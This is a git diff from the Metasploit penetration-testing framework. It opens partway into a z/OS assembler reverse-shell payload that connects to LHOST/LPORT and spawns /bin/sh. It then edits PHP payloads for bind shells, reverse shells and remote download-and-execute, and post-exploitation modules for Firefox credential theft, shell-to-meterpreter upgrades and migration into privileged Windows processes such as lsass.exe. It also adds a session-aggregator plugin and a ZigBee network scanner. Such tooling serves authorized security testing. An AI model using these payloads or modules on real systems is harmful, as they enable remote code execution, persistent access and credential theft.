"**********************\n" \ + "* *\n" \ + "* Constant Sections *\n" \ + "* *\n" \ + "**********************\n" \ + " DS 0F # constants full word boundary\n" \ + "F_STDI EQU 0\n" \ + "F_STDO EQU 1\n" \ + "F_STDE EQU 2\n" \ + "*************************\n" \ + "* Socket conn variables * # functions used by pgm\n" \ + "*************************\n" \ + "CONNSOCK DC XL2'#{lport}' # LPORT\n" \ + "CONNADDR DC XL4'#{lhost}' # LHOST\n" \ + "BACKLOG DC F'1' # 1 byte backlog\n" \ + "DOM DC A(AF_INET) # AF_INET = 2\n" \ + "TYPE DC A(SOCK#_STREAM) # stream = 1\n" \ + "PROTO DC A(IPPROTO_IP) # ip = 0\n" \ + "DIM DC A(SOCK#DIM_SOCKET) # dim_sock = 1\n" \ + "SOCKLEN DC A(SOCK#LEN+SOCK_SIN#LEN)\n" \ + "************************\n" \ + "* BPX1SPN vars *********\n" \ + "************************\n" \ + "EXCMD DC CL7'/bin/sh' # command to exec\n" \ + "EXCMDL DC A(L'EXCMD) # len of cmd to exec\n" \ + "EXARGC DC F'1' # num of arguments\n" \ + "EXARG1 DC CL2'sh' # arg 1 to exec\n" \ + "EXARG1L DC A(L'EXARG1) # len of arg1\n" \ + "EXARGL DC A(EXARG1) # addr of argument list\n" \ + "EXARGLL DC A(EXARG1L) # addr of arg len list\n" \ + "EXENVC DC F'0' # env var count\n" \ + "EXENVL DC F'0' # env var arg list addr\n" \ + "EXENVLL DC F'0' # env var arg len addr\n" \ + "EXITRA DC F'0' # exit routine addr\n" \ + "EXITPLA DC F'0' # exit rout parm list addr\n" \ + "FDCNT DC F'0' # field count s/b 0\n" \ + "FDLST DC F'0' # field list addr s/b 0\n" \ + "MYLEN DC F'0'\n" \ + "TVER DC AL2(INHE#VER)\n" \ + "TLEN DC AL2(INHE#LENGTH)\n" \ + " SPACE ,\n" \ + "@DYNSIZE DC A(@ENDYN-@DATA)\n" \ + "***************************\n" \ + "***** end of constants ****\n" \ + "***************************\n" \ + "@DATA DSECT ,\n" \ + " DS 0D\n" \ + "PLIST DS 16A\n" \ + "RTN_VAL DS F # return value\n" \ + "RTN_COD DS F # return code\n" \ + "RSN_COD DS F # reason code\n" \ + "CLIFD DS F # client fd\n" \ + "*********************\n" \ + "* Return value vars *\n" \ + "*********************\n" \ + "@SAVE00 DS 0D\n" \ + " DS A\n" \ + "@BACK DS A\n" \ + "@FORWARD DS A\n" \ + " DS 15A\n" \ + "@INHEA DS A\n" \ + "*\n" \ + " BPXYSOCK LIST=NO,DSECT=NO\n" \ + " BPXYFCTL LIST=NO,DSECT=NO\n" \ + " BPXYINHE LIST=NO,DSECT=NO\n" \ + "@ENDYN EQU *\n" \ + "@DATA#LEN EQU *-@DATA\n" \ + " BPXYCONS LIST=YES\n" \ + " END SPAWNREV\n" \ + "ZZ\n" \ + "//*\n" end end diff --git a/modules/payloads/singles/php/bind_php.rb b/modules/payloads/singles/php/bind_php.rb index f6a35f64cb..3627d41cbf 100644 --- a/modules/payloads/singles/php/bind_php.rb +++ b/modules/payloads/singles/php/bind_php.rb @@ -43,7 +43,7 @@ module MetasploitModule dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4); shell = <<-END_OF_PHP_CODE - #{php_preamble({:disabled_varname => dis})} + #{php_preamble(disabled_varname: dis)} $port=#{datastore['LPORT']}; $scl='socket_create_listen'; diff --git a/modules/payloads/singles/php/download_exec.rb b/modules/payloads/singles/php/download_exec.rb index c0f5941236..0dd7fecec6 100644 --- a/modules/payloads/singles/php/download_exec.rb +++ b/modules/payloads/singles/php/download_exec.rb @@ -40,6 +40,7 @@ module MetasploitModule exename = Rex::Text.rand_text_alpha(rand(8) + 4) dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) shell = <<-END_OF_PHP_CODE + #{php_preamble(disabled_varname: dis)} if (!function_exists('sys_get_temp_dir')) { function sys_get_temp_dir() { if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); } @@ -55,7 +56,9 @@ module MetasploitModule } $fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe"; $fd_in = fopen("#{datastore['URL']}", "rb"); + if ($fd_in === false) { die(); } $fd_out = fopen($fname, "wb"); + if ($fd_out === false) { die(); } while (!feof($fd_in)) { fwrite($fd_out, fread($fd_in, 8192)); } @@ -63,8 +66,7 @@ module MetasploitModule fclose($fd_out); chmod($fname, 0777); $c = $fname; - #{php_preamble({:disabled_varname => dis})} - #{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})} + #{php_system_block(cmd_varname: "$c", disabled_varnam: dis)} @unlink($fname); END_OF_PHP_CODE diff --git a/modules/payloads/singles/php/exec.rb b/modules/payloads/singles/php/exec.rb index 09b07f6530..b6872d7aa1 100644 --- a/modules/payloads/singles/php/exec.rb +++ b/modules/payloads/singles/php/exec.rb @@ -37,9 +37,9 @@ module MetasploitModule cmd = Rex::Text.encode_base64(datastore['CMD']) dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) shell = <<-END_OF_PHP_CODE + #{php_preamble(disabled_varname: dis)} $c = base64_decode("#{cmd}"); - #{php_preamble({:disabled_varname => dis})} - #{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis})} + #{php_system_block(cmd_varname: "$c", disabled_varname: dis)} END_OF_PHP_CODE return Rex::Text.compress(shell) diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 823c738885..4369d2a5cf 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -38,7 +38,7 @@ module MetasploitModule uuid = generate_payload_uuid bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') - met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"") + met = met.sub(%q|"PAYLOAD_UUID", ""|, %Q|"PAYLOAD_UUID", "#{bytes}"|) met.gsub!(/#.*$/, '') met = Rex::Text.compress(met) diff --git a/modules/payloads/singles/php/reverse_php.rb b/modules/payloads/singles/php/reverse_php.rb index 95b71cea29..bb0dbb5ad5 100644 --- a/modules/payloads/singles/php/reverse_php.rb +++ b/modules/payloads/singles/php/reverse_php.rb @@ -66,12 +66,12 @@ module MetasploitModule shell=<<-END_OF_PHP_CODE $ipaddr='#{ipaddr}'; $port=#{port}; - #{php_preamble({:disabled_varname => "$dis"})} + #{php_preamble(disabled_varname: "$dis")} if(!function_exists('#{exec_funcname}')){ function #{exec_funcname}($c){ global $dis; - #{php_system_block({:cmd_varname => "$c", :disabled_varname => "$dis", :output_varname => "$o"})} + #{php_system_block(cmd_varname: "$c", disabled_varname: "$dis", output_varname: "$o")} return $o; } } diff --git a/modules/payloads/singles/php/shell_findsock.rb b/modules/payloads/singles/php/shell_findsock.rb index 1595e817e7..9190671866 100644 --- a/modules/payloads/singles/php/shell_findsock.rb +++ b/modules/payloads/singles/php/shell_findsock.rb @@ -50,13 +50,12 @@ module MetasploitModule var_fd = '$' + Rex::Text.rand_text_alpha(rand(4) + 6) var_out = '$' + Rex::Text.rand_text_alpha(rand(4) + 6) shell = <"); flush(); function mysystem(#{var_cmd}){ - #{php_preamble()} - #{php_system_block({:cmd_varname=>var_cmd, :output_varname => var_out})} + #{php_system_block(cmd_varname: var_cmd, output_varname: var_out)} return #{var_out}; } diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index d20184ab7e..ccee4a7458 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51594 + CachedSize = 53382 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index 27aaa79175..4edbc4dd95 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51558 + CachedSize = 53346 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 0b8f9c5e7b..db9df75f6b 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51558 + CachedSize = 53346 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index 63e1f1176c..f6b0a616b8 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python' module MetasploitModule - CachedSize = 51510 + CachedSize = 53302 include Msf::Payload::Single include Msf::Payload::Python diff --git a/modules/payloads/stagers/python/reverse_tcp_ssl.rb b/modules/payloads/stagers/python/reverse_tcp_ssl.rb index e5a6422a1a..d564bec8cb 100644 --- a/modules/payloads/stagers/python/reverse_tcp_ssl.rb +++ b/modules/payloads/stagers/python/reverse_tcp_ssl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: https://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/hardware/zigbee/zstumbler.rb b/modules/post/hardware/zigbee/zstumbler.rb new file mode 100644 index 0000000000..074132a139 --- /dev/null +++ b/modules/post/hardware/zigbee/zstumbler.rb @@ -0,0 +1,103 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/hardware/zigbee/utils' + +class MetasploitModule < Msf::Post + + include Msf::Post::Hardware::Zigbee::Utils + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Sends Beacons to Scan for Active ZigBee Networks', + 'Description' => %q{ Post Module to send beacon signals to the broadcast address while + channel hopping}, + 'License' => MSF_LICENSE, + 'Author' => ['Craig Smith'], + 'Platform' => ['hardware'], + 'SessionTypes' => ['hwbridge'] + )) + register_options([ + OptInt.new('CHANNEL', [false, "Disable channel hopping by forcing a channel (11-26)", nil]), + OptInt.new('LOOP', [false, "How many times to loop over the channels (-1 will run in an endless loop)", 1]), + OptInt.new('DELAY', [false, "Delay in seconds to listen on each channel", 2]), + OptString.new('DEVICE', [false, "ZigBee device ID, defaults to target device", nil]) + ], self.class) + @seq = 0 + @channel = 11 + @stumbled = {} + @loop_count = 0 + end + + def display_details(routerdata) + stackprofile_map = {0 => "Network Specific", + 1 => "ZigBee Standard", + 2 => "ZigBee Enterprise"} + stackver_map = {0 => "ZigBee Prototype", + 1 => "ZigBee 2004", + 2 => "ZigBee 2006/2007"} + spanid, source, extpanid, stackprofilever, channel = routerdata + stackprofilever = stackprofilever.unpack("H*")[0].hex + stackprofile = stackprofilever & 0x0f + stackver = (stackprofilever & 0xf0) >> 4 + profile = "Unknown" + profile = stackprofile_map[stackprofile] if stackprofile_map.has_key? stackprofile + ver = "Unknown" + ver = stackver_map[stackver] if stackver_map.has_key? stackver + print_status("New Network: PANID: 0x#{spanid.upcase} SOURCE: 0x#{source.upcase}") + print_status(" Ext PANID: #{extpanid.upcase.scan(/../).join(':')} Stack Profile: #{profile}") + print_status(" Stack Version: #{ver}") + print_status(" Channel: #{@channel}") + end + + def scan + @seq = 0 if @seq > 255 + print_status("Scanning Channel #{@channel}") + set_channel(datastore["DEVICE"], @channel) + beacon = "\x03\x08#{@seq.chr}\xff\xff\xff\xff\x07" + inject(datastore["DEVICE"], beacon) + delay = Time.now + datastore["DELAY"] + while delay > Time.now() + pkt = recv(datastore["DEVICE"]) + if pkt and pkt.size > 0 and pkt["valid_crc"] + pktdecode = dot154_packet_decode(pkt["data"]) + if (pktdecode["FSF"] & DOT154_FCF_TYPE_MASK) == DOT154_FCF_TYPE_BEACON + key = "#{pktdecode["SPAN_ID"]}#{pktdecode["SOURCE"]}" + value = [pktdecode["SPAN_ID"], pktdecode["SOURCE"], pktdecode["EXT_PAN_ID"], pktdecode["STACK_PROFILE"], @channel] + if not @stumbled.has_key? key + @stumbled[key] = value + display_details(value) + end + end + end + end + sniffer_off(datastore["DEVICE"]) # Needed to clear receive buffers + @seq += 1 + @channel += 1 if not datastore["CHANNEL"] + @loop_count += 1 if @channel > 26 or datastore["CHANNEL"] + @channel = 11 if @channel > 26 + end + + def run + if not get_target_device and not datastore["DEVICE"] + print_error "No target device set. Either set one with the 'target' command or specify the DEVICE." + return + end + @channel = datastore["CHANNEL"] if datastore["CHANNEL"] + @channel = 11 if @channel > 26 + if datastore["LOOP"] == -1 + while(1) do + scan + end + else + while(@loop_count < datastore["LOOP"]) + scan + end + end + end + +end diff --git a/modules/post/linux/gather/enum_protections.rb b/modules/post/linux/gather/enum_protections.rb index 97d4ea05a8..a3fec3f4f8 100644 --- a/modules/post/linux/gather/enum_protections.rb +++ b/modules/post/linux/gather/enum_protections.rb @@ -71,7 +71,8 @@ class MetasploitModule < Msf::Post "truecrypt", "bulldog", "ufw", "iptables", "logrotate", "logwatch", "chkrootkit", "clamav", "snort", "tiger", "firestarter", "avast", "lynis", "rkhunter", "tcpdump", "webmin", "jailkit", "pwgen", "proxychains", "bastille", - "psad", "wireshark", "nagios", "nagios", "apparmor", "honeyd", "thpot" + "psad", "wireshark", "nagios", "nagios", "apparmor", "honeyd", "thpot", + "aa-status", "gradm2", "getenforce" ] env_paths = cmd_exec("echo $PATH").split(":") diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 2a524f6ee4..54bfb34205 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -146,7 +146,7 @@ class MetasploitModule < Msf::Post omnija = read_file(@paths['ff'] + org_file) if omnija.nil? or omnija.empty? or omnija =~ /No such file/i print_error("Could not download: #{@paths['ff'] + org_file}") - print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading)") if session.type != "meterpreter" + print_error("Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)") if session.type != "meterpreter" return end @@ -249,8 +249,8 @@ class MetasploitModule < Msf::Post if got_root vprint_status("Detected ROOT privileges. Searching every account on the target system.") - userdirs = cmd_exec("find #{home} -maxdepth 1 -mindepth 1 2>/dev/null").gsub(/\s/, "\n") - userdirs << "/root\n" + userdirs = "/root\n" + userdirs << cmd_exec("find #{home} -maxdepth 1 -mindepth 1 -type d 2>/dev/null") else vprint_status("Checking #{id}'s Firefox account") userdirs = "#{home + id}\n" @@ -260,16 +260,16 @@ class MetasploitModule < Msf::Post dir.chomp! next if dir == "." or dir == ".." or dir =~ /No such file/i - @platform == :osx ? (basepath = "#{dir}/Library/Application\\ Support/Firefox/Profiles/") : (basepath = "#{dir}/.mozilla/firefox/") + @platform == :osx ? (basepath = "#{dir}/Library/Application Support/Firefox/Profiles") : (basepath = "#{dir}/.mozilla/firefox") print_status("Checking for Firefox profile in: #{basepath}") - checkpath = cmd_exec("ls #{basepath}").gsub(/\s/, "\n") + checkpath = cmd_exec("find " + basepath.gsub(/ /, "\\ ") + " -maxdepth 1 -mindepth 1 -type d 2>/dev/null") checkpath.each_line do |ffpath| ffpath.chomp! - if ffpath =~ /\.default/ - vprint_good("Found profile: #{basepath + ffpath}") - paths << "#{basepath + ffpath}" + if ffpath =~ /\.default$/ + vprint_good("Found profile: #{ffpath}") + paths << "#{ffpath}" end end end @@ -332,7 +332,7 @@ class MetasploitModule < Msf::Post profile = path.scan(/Profiles[\\|\/](.+)\.(.+)$/).flatten[0].to_s profile = path.scan(/firefox[\\|\/](.+)\.(.+)$/).flatten[0].to_s if profile.empty? - session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("ls #{path} 2>/dev/null").split()) + session.type == "meterpreter" ? (files = session.fs.dir.foreach(path)) : (files = cmd_exec("find "+ path.gsub(/ /, "\\ ") + " -maxdepth 1 -mindepth 1 -type f 2>/dev/null").gsub(/.*\//, "").split("\n")) files.each do |file| file.chomp! @@ -551,12 +551,18 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); when :unix # Assuming userdir /home/(x) = user print_status("Enumerating users") - users = cmd_exec("ls /home 2>/dev/null") - if users.nil? or users.empty? + homedirs = cmd_exec("find /home -maxdepth 1 -mindepth 1 -type d 2>/dev/null").gsub(/.*\//, "") + if homedirs.nil? or homedirs.empty? print_error("No normal user found") return false end - user = users.split[0] + user = nil + # Skip home directories which contain a space, as those are likely not usernames... + homedirs.each_line do |homedir| + user = homedir.chomp + break unless user.index(" ") + end + # Since we can't access the display environment variable we have to assume the default value args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ") args << "\"" @@ -719,6 +725,10 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); session.sys.config.getuid =~ /SYSTEM/ ? true : false else # unix, bsd, linux, osx id_output = cmd_exec("id").chomp + if id_output.blank? + # try an absolute path + id_output = cmd_exec("/usr/bin/id").chomp + end id_output.include?("uid=0(") ? true : false end end diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 851011b66c..238238efeb 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -174,7 +174,7 @@ class MetasploitModule < Msf::Post end when 'python' vprint_status("Transfer method: Python") - cmd_exec("python -c \"#{payload_data}\"") + cmd_exec("echo \"#{payload_data}\" | python") else vprint_status("Transfer method: Bourne shell [fallback]") exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) diff --git a/modules/post/windows/manage/migrate.rb b/modules/post/windows/manage/migrate.rb index 671ee5670f..27789acdb8 100644 --- a/modules/post/windows/manage/migrate.rb +++ b/modules/post/windows/manage/migrate.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Post if datastore['SPAWN'] print_status("Spawning notepad.exe process to migrate to") target_pid = create_temp_proc - elsif datastore['PID'] != 0 + elsif datastore['PID'] target_pid = datastore['PID'] elsif datastore['NAME'] target_pid = session.sys.process[datastore['NAME']] diff --git a/modules/post/windows/manage/multi_meterpreter_inject.rb b/modules/post/windows/manage/multi_meterpreter_inject.rb index 8721fcfad3..bc372fc2ae 100644 --- a/modules/post/windows/manage/multi_meterpreter_inject.rb +++ b/modules/post/windows/manage/multi_meterpreter_inject.rb @@ -30,8 +30,8 @@ class MetasploitModule < Msf::Post [ OptString.new('PAYLOAD', [false, 'Payload to inject in to process memory', "windows/meterpreter/reverse_tcp"]), OptInt.new('LPORT', [false, 'Port number for the payload LPORT variable.', 4444]), - OptString.new('IPLIST', [true, 'List of semicolom separated IP list.', Rex::Socket.source_address("1.2.3.4")]), - OptString.new('PIDLIST', [false, 'List of semicolom separated PID list.', '']), + OptString.new('IPLIST', [true, 'List of semicolon separated IP list.', Rex::Socket.source_address("1.2.3.4")]), + OptString.new('PIDLIST', [false, 'List of semicolon separated PID list.', '']), OptBool.new('HANDLER', [false, 'Start new exploit/multi/handler job on local box.', false]), OptInt.new('AMOUNT', [false, 'Select the amount of shells you want to spawn.', 1]) ], self.class) diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 7dc277e31d..10629a5753 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Post include Msf::Post::Windows::Priv - DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'winlogon.exe', 'wininit.exe', 'lsm.exe', 'lsass.exe' ] + DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'wininit.exe', 'svchost.exe', 'lsm.exe', 'lsass.exe', 'winlogon.exe' ] DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ] def initialize(info={}) @@ -19,15 +19,15 @@ class MetasploitModule < Msf::Post 'Description' => %q{ This module will migrate a Meterpreter session based on session privileges. It will do everything it can to migrate, including spawing a new User level process. For sessions with Admin rights: It will try to migrate into a System level process in the following - order: ANAME (if specified), services.exe, winlogon.exe, wininit.exe, lsm.exe, and lsass.exe. - If all these fail, it will fall back to User level migration. For sessions with User level rights: + order: ANAME (if specified), services.exe, wininit.exe, svchost.exe, lsm.exe, lsass.exe, and winlogon.exe. + If all these fail and NOFAIL is set to true, it will fall back to User level migration. For sessions with User level rights: It will try to migrate to a user level process, if that fails it will attempt to spawn the process then migrate to it. It will attempt the User level processes in the following order: NAME (if specified), explorer.exe, then notepad.exe.}, 'License' => MSF_LICENSE, 'Author' => [ - 'Josh Hale ', + 'Josh Hale "sn0wfa11" ', 'theLightCosine' ], 'Platform' => ['win' ], @@ -36,18 +36,23 @@ class MetasploitModule < Msf::Post register_options( [ - OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']), - OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']), - OptBool.new( 'KILL', [false, 'Kill original session process.', false]) + OptString.new('ANAME', [false, 'System process to migrate to. For sessions with Admin rights. (See Module Description.)']), + OptString.new('NAME', [false, 'Process to migrate to. For sessions with User rights. (See Module Description.)']), + OptBool.new( 'KILL', [true, 'Kill original session process.', false]), + OptBool.new( 'NOFAIL', [true, 'Migrate to user level process if Admin migration fails. May downgrade privileged shells.', false]) ], self.class) end def run # Get current process information @original_pid = client.sys.process.open.pid - @original_name = client.sys.process.open.name + @original_name = client.sys.process.open.name.downcase print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}") unless migrate_admin + if is_admin? && !datastore['NOFAIL'] + print_status("NOFAIL set to false, exiting module.") + return + end migrate_user end end @@ -61,7 +66,7 @@ class MetasploitModule < Msf::Post def get_pid(proc_name) processes = client.sys.process.get_processes processes.each do |proc| - if proc['name'] == proc_name && proc['user'] != "" + if proc['name'].downcase == proc_name && proc['user'] != "" return proc['pid'] end end @@ -105,9 +110,13 @@ class MetasploitModule < Msf::Post client.core.migrate(target_pid) print_good("Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}") return true - rescue ::Rex::Post::Meterpreter::RequestError => error + rescue ::Rex::Post::Meterpreter::RequestError => req_error print_error("Could not migrate to #{proc_name}.") - print_error(error.to_s) + print_error(req_error.to_s) + return false + rescue ::Rex::RuntimeError => run_error + print_error("Could not migrate to #{proc_name}.") + print_error(run_error.to_s) return false end end @@ -118,12 +127,17 @@ class MetasploitModule < Msf::Post # @return [FalseClass] if it failed to migrate def migrate_admin if is_admin? - # Populate target array + # Populate target array and Downcase all Targets admin_targets = DEFAULT_ADMIN_TARGETS.dup admin_targets.unshift(datastore['ANAME']) if datastore['ANAME'] + admin_targets.map!(&:downcase) if is_system? print_status("Session is already Admin and System.") + if admin_targets.include? @original_name + print_good("Session is already in target process: #{@original_name}.") + return true + end else print_status("Session is Admin but not System.") end @@ -148,9 +162,11 @@ class MetasploitModule < Msf::Post # @return [TrueClass] if it successfully migrated # @return [FalseClass] if it failed to migrate def migrate_user - # Populate Target Array + # Populate Target Array and Downcase all Targets user_targets = DEFAULT_USER_TARGETS.dup user_targets.unshift(datastore['NAME']) if datastore['NAME'] + user_targets.map!(&:downcase) + print_status("Will attempt to migrate to a User level process.") # Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating. diff --git a/msfconsole b/msfconsole index a96c91d768..b9ba9f0b52 100755 --- a/msfconsole +++ b/msfconsole @@ -44,5 +44,5 @@ end # @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5 require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot') require 'metasploit/framework/command/console' - +require 'msf/core/payload_generator' Metasploit::Framework::Command::Console.start diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb new file mode 100644 index 0000000000..f3b1827e18 --- /dev/null +++ b/plugins/aggregator.rb @@ -0,0 +1,458 @@ +# +# $Id$ +# +# This plugin provides management and interaction with an external session aggregator. +# +# $Revision$ +# +require "metasploit/aggregator" + +module Msf + Aggregator_yaml = "#{Msf::Config.get_config_root}/aggregator.yaml" # location of the aggregator.yml containing saved aggregator creds + + class Plugin::Aggregator < Msf::Plugin + class AggregatorCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + @response_queue = [] + + def name + "Aggregator" + end + + def commands + { + 'aggregator_connect' => "Connect to a running Aggregator instance ( host[:port] )", + 'aggregator_save' => "Save connection details to an Aggregator instance", + 'aggregator_disconnect' => "Disconnect from an active Aggregator instance", + 'aggregator_addresses' => "List all remote ip addresses available for ingress", + 'aggregator_cables' => "List all remote listeners for sessions", + 'aggregator_cable_add' => "Setup remote https listener for sessions", + 'aggregator_cable_remove' => "Stop remote listener for sessions", + 'aggregator_default_forward' => "forward a unlisted/unhandled sessions to a specified listener", + 'aggregator_sessions' => "List all remote sessions currently available from the Aggregator instance", + 'aggregator_session_forward' => "forward a session to a specified listener", + 'aggregator_session_park' => "Park an existing session on the Aggregator instance" + } + end + + def aggregator_verify + if !@aggregator + print_error("No active Aggregator instance has been configured, please use 'aggregator_connect'") + return false + end + + true + end + + def usage(*lines) + print_status("Usage: ") + lines.each do |line| + print_status(" #{line}") + end + end + + def usage_save + usage("aggregator_save") + end + + def usage_connect + usage("aggregator_connect host[:port]", + " -OR- ", + "aggregator_connect host port") + end + + def usage_cable_add + usage('aggregator_cable_add host:port [certificate]', + ' -OR- ', + 'aggregator_cable_add host port [certificate]') + end + + def usage_cable_remove + usage('aggregator_cable_remove host:port', + ' -OR- ', + 'aggregator_cable_remove host port') + end + + def usage_session_forward + usage("aggregator_session_forward remote_id") + end + + def usage_default_forward + usage("aggregator_session_forward") + end + + def cmd_aggregator_save(*args) + # if we are logged in, save session details to aggregator.yaml + if args.length == 0 || args[0] == "-h" + usage_save + return + end + + if args[0] + usage_save + return + end + + group = "default" + + if (@host && @host.length.positive?) && (@port && @port.length.positive? && @port.to_i > 0) + config = { "#{group}" => { 'server' => @host, 'port' => @port } } + ::File.open("#{Aggregator_yaml}", "wb") { |f| f.puts YAML.dump(config) } + print_good("#{Aggregator_yaml} created.") + else + print_error("Missing server/port - reconnect and then try again.") + return + end + end + + def cmd_aggregator_connect(*args) + if !args[0] + if ::File.readable?("#{Aggregator_yaml}") + lconfig = YAML.load_file("#{Aggregator_yaml}") + @host = lconfig['default']['server'] + @port = lconfig['default']['port'] + aggregator_login + return + end + end + + if args.length == 0 || args[0].empty? || args[0] == "-h" + usage_connect + return + end + + @host = @port = @sslv = nil + + case args.length + when 1 + @host, @port = args[0].split(':', 2) + @port ||= '2447' + when 2 + @host, @port = args + else + usage_connect + return + end + aggregator_login + end + + def cmd_aggregator_sessions(*_args) + return unless aggregator_verify + + sessions_list = @aggregator.sessions + return if sessions_list.nil? + + # get details for each session and print in format of sessions -v + print_status("Sessions found:") + sessions_list.each do |session| + session_id, target = session + details = @aggregator.session_details(session_id) + local_id = nil + framework.sessions.each_pair do |key, value| + next unless value.conn_id == session_id + local_id = key + end + # filter session that do not have details as forwarding options (this may change later) + next unless details && details['ID'] + + print_status "\t Remote ID: #{details['ID']}" + print_status "\t Type: meterpreter #{guess_target_platform(details['OS'])}" + print_status "\t Info: #{details['USER']} @ #{details['HOSTNAME']}" + print_status "\t Tunnel: #{details['LOCAL_SOCKET']} -> #{details['REMOTE_SOCKET']}" + print_status "\t Via: exploit/multi/handler" + print_status "\t UUID: #{details['UUID']}" + print_status "\t MachineID: #{details['MachineID']}" + print_status "\t CheckIn: #{details['LAST_SEEN'].to_i}s ago" unless details['LAST_SEEN'].nil? + print_status "\tRegistered: Not Yet Implemented" + print_status "\t Forward: #{target}" + print_status "\tSession ID: #{local_id}" unless local_id.nil? + print_status "" + end + end + + def cmd_aggregator_addresses(*_args) + return if !aggregator_verify + + address_list = @aggregator.available_addresses + return if address_list.nil? + + print_status("Remote addresses found:") + address_list.each do |addr| + print_status(" #{addr}") + end + end + + def cmd_aggregator_cable_add(*args) + host, port, certificate = nil + case args.length + when 1 + host, port = args[0].split(':', 2) + when 2 + host, port = args[0].split(':', 2) + if port.nil? + port = args[1] + else + certificate = args[1] + end + when 3 + host, port, certificate = args + else + usage_cable_add + return + end + + if !aggregator_verify || args.length == 0 || args[0] == '-h' || \ + port.nil? || port.to_i <= 0 + usage_cable_add + return + end + + certificate = File.new(certificate).read if certificate && File.exists?(certificate) + + @aggregator.add_cable(Metasploit::Aggregator::Cable::HTTPS, host, port, certificate) + end + + def cmd_aggregator_cables(*_args) + return if !aggregator_verify + res = @aggregator.cables + print_status("Remote Cables:") + res.each do |k| + print_status(" #{k}") + end + + end + + def cmd_aggregator_cable_remove(*args) + case args.length + when 1 + host, port = args[0].split(':', 2) + when 2 + host, port = args + end + if !aggregator_verify || args.length == 0 || args[0] == '-h' || host.nil? + usage_cable_remove + return + end + @aggregator.remove_cable(host, port) + end + + def cmd_aggregator_session_park(*args) + return if !aggregator_verify + + case args.length + when 1 + session_id = args[0] + s = framework.sessions.get(session_id) + unless s.nil? + if @aggregator.sessions.keys.include? s.conn_id + @aggregator.release_session(s.conn_id) + 